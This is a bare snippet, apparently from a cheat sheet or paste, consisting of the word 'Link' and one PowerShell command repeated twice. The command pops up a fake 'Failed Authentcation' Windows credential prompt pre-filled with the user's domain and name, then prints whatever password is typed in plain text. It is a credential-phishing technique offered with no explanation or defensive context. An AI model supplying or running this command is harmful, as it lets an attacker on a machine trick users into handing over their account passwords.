Link
powershell "$cred = $host.ui.promptforcredential('Failed Authentcation','',[Environment]::UserDomainName+'\'+[Environment]::Username,[Environment]::UserDomainName); $cred.getnetworkcredential().password"
powershell "$cred = $host.ui.promptforcredential('Failed Authentcation','',[Environment]::UserDomainName+'\'+[Environment]::Username,[Environment]::UserDomainName); $cred.getnetworkcredential().password"